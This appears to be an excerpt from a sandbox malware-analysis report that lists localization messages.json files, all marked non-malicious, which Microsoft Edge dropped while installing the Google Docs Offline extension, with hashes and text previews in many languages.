Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
